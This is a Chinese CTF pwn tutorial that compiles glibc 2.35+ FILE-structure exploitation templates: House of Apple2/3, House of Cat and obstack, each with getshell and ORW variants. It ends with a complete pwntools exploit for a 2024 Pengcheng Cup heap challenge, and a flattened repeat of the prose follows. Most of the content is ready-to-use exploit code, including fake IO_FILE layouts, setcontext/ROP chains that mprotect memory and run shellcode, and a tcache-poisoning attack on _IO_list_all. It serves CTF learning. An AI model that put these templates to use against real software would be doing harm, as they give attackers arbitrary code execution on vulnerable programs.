libc2.35时代IO利用模板总结
字数 977 2025-08-20 18:17:41

libc2.35时代IO利用模板总结

概述

本文详细总结了libc2.35及更高版本中的IO利用技术,主要包括house of apple系列、house of cat和obstack利用等方法。这些技术通过伪造IO_FILE结构体,利用IO操作中的函数调用链实现控制流劫持。

前置条件

大多数IO利用技术需要满足以下条件:

  1. 已知heap地址和libc基址
  2. 能控制程序执行IO操作(如从main返回、调用exit、触发__malloc_assert等)
  3. 能控制vtable和相关结构体(通常通过largebin attack实现)

House of Apple系列

House of Apple2

利用点:基于IO_FILE->_wide_data的利用

调用链

_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE

getshell模板

def house_of_apple2(fake_IO_file_addr):
    fake_IO_file = flat({
        0x18: 1,               # _IO_write_ptr
        0x58: one_gadget,      # chain
        0x78: _IO_stdfile_2_lock, # _lock
        0x90: fake_IO_file_addr, # _IO_wide_data
        0xc8: _IO_wfile_jumps, # vtable
        0xd0: fake_IO_file_addr  # fake wide vtable
    }, filler='\x00')
    return fake_IO_file

ORW模板

def house_of_apple2(fake_IO_file_addr):
    fake_IO_file = flat({
        0x18: 1,               # _IO_write_ptr
        0x58: setcontext + 61, # chain
        0x78: _IO_stdfile_2_lock, # _lock
        0x90: fake_IO_file_addr + 0x100, # _IO_wide_data
        0xc8: _IO_wfile_jumps, # vtable
        0xf0: {
            0xa0: [fake_IO_file_addr + 0x200, ret],
            0xe0: fake_IO_file_addr
        },
        0x1f0: [
            pop_rdi_ret, fake_IO_file_addr >> 12 << 12,
            pop_rsi_ret, 0x2000,
            pop_rdx_rbx_ret, 7, 0,
            pop_rax_ret, 10,  # mprotect
            syscall_ret, fake_IO_file_addr + 0x290
        ],
        0x280: asm(shellcraft.cat('flag'))
    }, filler='\x00')
    return fake_IO_file

House of Apple3

利用点:基于IO_FILE->_codecvt的利用

调用链

_IO_wfile_underflow -> libio_codecvt_in -> fp->codecvt -> cd_in.step -> __fct(函数指针)

getshell模板

def house_of_apple3(fake_IO_file_addr):
    fake_ucontext = ucontext_t()
    fake_ucontext.rip = ret
    fake_ucontext.rsp = fake_IO_file_addr + 0x300
    fake_ucontext.rdi = fake_IO_file_addr >> 12 << 12
    fake_ucontext.rsi = 0x2000
    fake_ucontext.rdx = 7
    
    fake_IO_file = flat({
        0: 0xffffffffffffffff,  # _IO_read_end
        0x18: 1,                # _IO_write_ptr
        0x30: fake_IO_file_addr + 0x100,  # _IO_buf_end = _codecvt.step
        0x88: fake_IO_file_addr + 0x40,   # _codecvt
        0x90: _IO_wide_data,
        0xc8: _IO_wfile_jumps + 0x8,      # vtable
        0xf0: {
            0: 0,               # key
            0x28: one_gadget    # fun_ptr
        }
    }, filler='\x00')
    return fake_IO_file

ORW模板

def house_of_apple3(fake_IO_file_addr):
    frame = SigreturnFrame()
    frame.rip = ret
    frame.rsp = fake_IO_file_addr + 0x200
    frame.rdi = fake_IO_file_addr >> 12 << 12
    frame.rsi = 0x2000
    frame.rdx = 7
    
    fake_IO_file = flat({
        0: 0xffffffffffffffff,  # _IO_read_end
        0x18: 1,                # _IO_write_ptr
        0x30: fake_IO_file_addr + 0x100,  # _IO_buf_end = _codecvt.step
        0x88: fake_IO_file_addr + 0x40,   # _codecvt
        0x90: _IO_wide_data,
        0xc8: _IO_wfile_jumps + 0x8,      # vtable
        0xf0: {
            0: 0,               # key
            0x8: fake_IO_file_addr + 0x100,
            0x20: setcontext + 61,
            0x28: magic_gadget, # fun_ptr
            0x30: bytes(frame)[0x30:]
        },
        0x1f0: [
            pop_rax_ret, 10,
            syscall_ret, fake_IO_file_addr + 0x230
        ],
        0x220: asm(shellcraft.cat('flag'))
    }, filler='\x00')
    return fake_IO_file

House of Cat

利用点:利用_IO_wide_data结构体,通过不同的调用链实现利用

调用链

_IO_wfile_seekoff -> _IO_switch_to_wget_mode

getshell模板

def house_of_cat(fake_IO_file_addr):
    fake_IO_file = flat({
        0x20: [0, 0, 1, 1, fake_IO_file_addr],  # rdx system
        0x58: 0,               # chain
        0x78: _IO_stdfile_2_lock, # _lock
        0x90: fake_IO_file_addr + 0x30, # _IO_wide_data
        0xb0: 1,               # _mode
        0xc8: _IO_wfile_jumps + 0x30, # vtable _IO_wfile_seekoff
        0x100: fake_IO_file_addr + 0x40 # fake_wide_jumps
    })
    return fake_IO_file

ORW模板(ROP链方式)

def house_of_cat(fake_IO_file_addr):
    flag_addr = fake_IO_file_addr + 0x200
    data = fake_IO_file_addr + 0x400
    payload = flat({
        0x20: [0, 0, 1, 1, fake_IO_file_addr+0x150],  # rdx setcontext + 61
        0x58: 0,               # chain
        0x78: _IO_stdfile_2_lock, # _lock
        0x90: fake_IO_file_addr + 0x30, # _IO_wide_data
        0xb0: 1,               # _mode
        0xc8: _IO_wfile_jumps + 0x10, # fake_IO_wide_jumps
        0x100: fake_IO_file_addr + 0x40,
        0x140: {0xa0: [fake_IO_file_addr + 0x210, ret]},
        0x1f0: 'flag',
        0x200: [
            pop_rax_ret,        # sys_open('flag', 0)
            2,
            pop_rdi_ret, flag_addr,
            pop_rsi_ret, 0,
            syscall_ret,
            pop_rax_ret,        # sys_read(flag_fd, heap, 0x100)
            0,
            pop_rdi_ret, 3,
            pop_rsi_ret, data,
            pop_rdx_rbx_ret, 0x40, 0,
            syscall_ret,
            pop_rax_ret,        # sys_write(1, heap, 0x100)
            1,
            pop_rdi_ret, 1,
            pop_rsi_ret, data,
            pop_rdx_rbx_ret, 0x40, 0,
            syscall_ret
        ]
    }, filler='\x00')
    return payload

Obstrack利用

利用点:利用obstack结构体实现控制流劫持

调用链

_IO_obstack_xsputn -> _obstack_newchunk -> CALL_CHUNKFUN -> chunkfun

getshell模板

def house_of_obstack(fake_IO_file_addr):
    fake_IO_file = flat({
        0x8: 1,                # next_free
        0x10: 0,               # chunk_limit
        0x18: 1,               # _IO_write_ptr
        0x20: 0,               # _IO_write_end
        0x28: system,          # gadget
        0x38: fake_IO_file_addr + 0xe8,  # rdi = &'/bin/sh\x00'
        0x40: 1,
        0x58: 0,               # chain
        0x78: _IO_stdfile_2_lock, # _IO_stdfile_1_lock
        0x90: _IO_wide_data,   # _IO_wide_data_2
        0xc8: _IO_obstack_jumps + 0x20,
        0xd0: fake_IO_file_addr, # obstack(B)
        0xd8: '/bin/sh\x00'
    }, filler='\x00')
    return fake_IO_file

ORW模板

def house_of_obstack(fake_IO_file_addr):
    flag_addr = fake_IO_file_addr + 0x300
    data = fake_IO_file_addr + 0x380
    fake_IO_file = flat({
        0: {
            0x8: 1,            # next_free
            0x10: 0,           # chunk_limit
            0x18: 1,           # _IO_write_ptr
            0x20: 0,           # _IO_write_end
            0x28: magic_gadget, # gadget
            0x38: fake_IO_file_addr + 0x100, # rdi
            0x40: 1,
            0x58: 0,           # chain
            0x78: _IO_stdfile_2_lock, # _IO_stdfile_1_lock
            0x90: _IO_wide_data, # _IO_wide_data_2
            0xc8: _IO_obstack_jumps + 0x20,
            0xd0: fake_IO_file_addr # obstack(B)
        },
        0xf0: {
            0: [0, fake_IO_file_addr + 0x100, 0, 0, setcontext + 61],
            0xa0: fake_IO_file_addr + 0x200,
            0xa8: ret
        },
        0x1f0: [
            pop_rax_ret,        # sys_open('flag', 0)
            2,
            pop_rdi_ret, flag_addr,
            pop_rsi_ret, 0,
            syscall_ret,
            pop_rax_ret,        # sys_read(flag_fd, heap, 0x100)
            0,
            pop_rdi_ret, 3,
            pop_rsi_ret, data,
            pop_rdx_rbx_ret, 0x40, 0,
            syscall_ret,
            pop_rax_ret,        # sys_write(1, heap, 0x100)
            1,
            pop_rdi_ret, 1,
            pop_rsi_ret, data,
            pop_rdx_rbx_ret, 0x40, 0,
            syscall_ret
        ],
        0x2f0: 'flag\x00\x00\x00\x00'
    }, filler='\x00')
    return fake_IO_file

关键结构体

ucontext_t结构体

class ucontext_t:
    '''[0x1c0] must be NULL.'''
    length = 0x1c8
    bin_str = length * b'\0'
    rip = 0
    rsp = 0
    rbx = 0
    rbp = 0
    r12 = 0
    r13 = 0
    r14 = 0
    r15 = 0
    rsi = 0
    rdi = 0
    rcx = 0
    r8 = 0
    r9 = 0
    rdx = 0
    
    def __init__(self):
        pass
    
    def set_value(self, offset, value):
        if (offset <= 0 or offset > self.length - 8):
            raise Exception("Out bound!")
        temp = self.bin_str
        temp = temp[:offset] + struct.pack('Q', value) + temp[offset+8:]
        self.bin_str = temp
    
    def __bytes__(self):
        self.set_value(0x28, self.r8)
        self.set_value(0x30, self.r9)
        self.set_value(0x48, self.r12)
        self.set_value(0x50, self.r13)
        self.set_value(0x58, self.r14)
        self.set_value(0x60, self.r15)
        self.set_value(0x68, self.rdi)
        self.set_value(0x70, self.rsi)
        self.set_value(0x78, self.rbp)
        self.set_value(0x80, self.rbx)
        self.set_value(0x88, self.rdx)
        self.set_value(0x98, self.rcx)
        self.set_value(0xa0, self.rsp)
        self.set_value(0xa8, self.rip)  # rip
        self.set_value(0xe0, self.rip)  # readable
        return self.bin_str

obstack相关结构体

struct _IO_obstack_file {
    struct _IO_FILE_plus file;
    struct obstack *obstack;  // 0xe0
};

struct obstack {
    long chunk_size;
    struct _obstack_chunk *chunk;
    char *object_base;
    char *next_free;        // offset = 0x18
    char *chunk_limit;      // offset = 0x20
    union {
        long tempint;
        void *tempptr;
    } temp;
    int alignment_mask;
    struct _obstack_chunk *(*chunkfun)(void *, long);  // offset = 0x38
    void (*freefun)(void *, struct _obstack_chunk *);
    void *extra_arg;        // offset = 0x48
    unsigned int use_extra_arg : 1;  // offset = 0x50
    unsigned int maybe_empty_object : 1;
    unsigned int alloc_failed : 1;
};

struct _obstack_chunk {
    char *limit;
    struct _obstack_chunk *prev;
    char contents[4];
};

例题分析:2024鹏城杯 babyheap

  1. edit函数存在堆溢出漏洞
  2. 通过堆风水泄露heap地址和libc地址
  3. 劫持_IO_list_all,使用house of apple2的getshell模板
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = elf.libc

debug = 1
if debug:
    p = process(fn)
else:
    p = remote()

def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()
    else:
        pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

def menu(index):
    p.sendlineafter('your choice:', str(index))

def add(index, size, content):
    menu(1)
    p.sendlineafter('input idx:', str(index))
    p.sendlineafter('input size:', str(size))
    p.sendafter('input content:', content)

def show(index):
    menu(3)
    p.sendlineafter('input idx:', str(index))

def edit(index, content):
    menu(4)
    p.sendlineafter('input idx:', str(index))
    p.send(content)

def delete(index):
    menu(2)
    p.sendlineafter('input idx:', str(index))

# 泄露heap地址
for i in range(12):
    add(i, 0x80, 'aaaa')
for i in range(7):
    delete(i)
delete(7)
delete(9)
add(0x14, 0x400, 'aaaa')
for i in range(7):
    add(0, 0x80, 'aaaa')
add(7, 0x80, 'aaaaaaaa')
show(7)
p.recvuntil('a'*8)
heapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x7a0
lg('heapbase', heapbase)

# 泄露libc地址
add(0, 0x80, 'aaaa')
for i in range(10):
    add(i, 0x80, 'aaaa')
for i in range(7):
    delete(i)
delete(7)
add(0x14, 0x400, 'aaaa')
for i in range(7):
    add(0, 0x80, 'aaaa')
add(7, 0x80, 'aaaaaaaa')
show(7)
p.recvuntil('a'*8)
libcbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ad60
lg('libcbase', libcbase)

# house of apple2利用
_IO_list_all = libcbase + libc.sym['_IO_list_all']
_IO_wfile_jumps = libcbase + 0x2170c0
_IO_stdfile_2_lock = libcbase + 0x21ca80
gadgets = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
one_gadget = libcbase + gadgets[0]

add(0, 0x80, 'aaaa')
add(1, 0x80, 'aaaa')
add(2, 0x80, 'aaaa')
add(3, 0x80, 'aaaa')
delete(2)
delete(1)

# largebin attack劫持_IO_list_all
payload = flat({
    0x80: [0, 0x91, _IO_list_all ^ ((heapbase + 0x1000) >> 12)]
})
edit(0, payload)

fake_IO_file_addr = heapbase + 0x1950
add(0x14, 0x400, house_of_apple2(fake_IO_file_addr))
add(0, 0x80, 'aaaa')
add(1, 0x80, p64(fake_IO_file_addr))

# 触发IO流
menu(1)
p.sendlineafter('input idx:', str(0x100))
p.interactive()

总结

本文详细总结了libc2.35及更高版本中的IO利用技术,包括:

  1. House of Apple系列(2和3版本)
  2. House of Cat
  3. Obstrack利用

这些技术通过伪造IO_FILE结构体,利用不同的调用链实现控制流劫持,可以用于getshell或ORW操作。关键点包括:

  • 需要heap和libc地址泄露
  • 通常需要largebin attack等堆利用技术
  • 需要触发IO操作(如exit、malloc_assert等)
  • 需要精心构造伪造的IO_FILE结构体

掌握这些技术可以有效地在高版本libc环境下实现利用。

libc2.35时代IO利用模板总结 概述 本文详细总结了libc2.35及更高版本中的IO利用技术,主要包括house of apple系列、house of cat和obstack利用等方法。这些技术通过伪造IO_ FILE结构体,利用IO操作中的函数调用链实现控制流劫持。 前置条件 大多数IO利用技术需要满足以下条件: 已知heap地址和libc基址 能控制程序执行IO操作(如从main返回、调用exit、触发__ malloc_ assert等) 能控制vtable和相关结构体(通常通过largebin attack实现) House of Apple系列 House of Apple2 利用点 :基于IO_ FILE->_ wide_ data的利用 调用链 : getshell模板 ORW模板 House of Apple3 利用点 :基于IO_ FILE->_ codecvt的利用 调用链 : getshell模板 ORW模板 House of Cat 利用点 :利用_ IO_ wide_ data结构体,通过不同的调用链实现利用 调用链 : getshell模板 ORW模板(ROP链方式) Obstrack利用 利用点 :利用obstack结构体实现控制流劫持 调用链 : getshell模板 ORW模板 关键结构体 ucontext_ t结构体 obstack相关结构体 例题分析:2024鹏城杯 babyheap edit函数存在堆溢出漏洞 通过堆风水泄露heap地址和libc地址 劫持_ IO_ list_ all,使用house of apple2的getshell模板 总结 本文详细总结了libc2.35及更高版本中的IO利用技术,包括: House of Apple系列(2和3版本) House of Cat Obstrack利用 这些技术通过伪造IO_ FILE结构体,利用不同的调用链实现控制流劫持,可以用于getshell或ORW操作。关键点包括: 需要heap和libc地址泄露 通常需要largebin attack等堆利用技术 需要触发IO操作(如exit、malloc_ assert等) 需要精心构造伪造的IO_ FILE结构体 掌握这些技术可以有效地在高版本libc环境下实现利用。